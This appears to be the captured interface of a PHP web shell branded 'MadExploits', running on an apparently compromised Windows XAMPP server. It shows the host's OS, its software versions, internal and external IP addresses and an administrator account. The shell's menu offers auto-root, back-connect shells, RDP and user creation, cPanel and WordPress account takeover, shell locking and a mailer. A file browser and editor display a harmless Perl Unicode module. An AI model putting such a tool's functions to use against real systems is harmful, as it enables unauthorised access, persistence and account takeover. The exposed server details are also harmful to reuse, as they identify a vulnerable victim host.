Windows NT SRV-DATA 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0
: 192.168.213.201 | : 216.73.216.72
Cant Read [ /etc/named.conf ]
8.2.0
ADMINISTRATEUR
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
[ E ]
[ Z ]
C: /
xampp /
perl /
vendor /
lib /
Unicode /
[ HOME SHELL ]
Name
Size
Permission
Action
LineBreak
[ DIR ]
drwxrwxrwx
GCString.pm
956
B
-rw-rw-rw-
GCString.pod
6.21
KB
-rw-rw-rw-
LineBreak.pm
6.28
KB
-rw-rw-rw-
LineBreak.pod
26.53
KB
-rw-rw-rw-
UTF8.pm
346
B
-rw-rw-rw-
UTF8.pod
6.34
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : GCString.pm
#-*-perl-*- package Unicode::GCString; require 5.008; =encoding utf-8 =cut ### Pragmas: use strict; use warnings; use vars qw($VERSION @EXPORT_OK @ISA); ### Exporting: use Exporter; our @EXPORT_OK = qw(); our %EXPORT_TAGS = ('all' => [@EXPORT_OK]); ### Inheritance: our @ISA = qw(Exporter); ### Other modules: use Unicode::LineBreak; ### Globals # The package version our $VERSION = '2013.10'; use overload '@{}' => \&as_arrayref, '${}' => \&as_scalarref, '""' => \&as_string, '.' => \&concat, #XXX'.=' => \&concat, #FIXME:segfault 'cmp' => \&cmp, '<>' => \&next, ; sub new { my $class = shift; my $self; if (scalar @_ <= 2) { $self = __PACKAGE__->_new(@_); } else { my $str = shift; my $lb = Unicode::LineBreak->new(@_); $self = __PACKAGE__->_new($str, $lb); } bless $self, $class; } sub as_arrayref { my @a = shift->as_array; return \@a; } 1;
Close
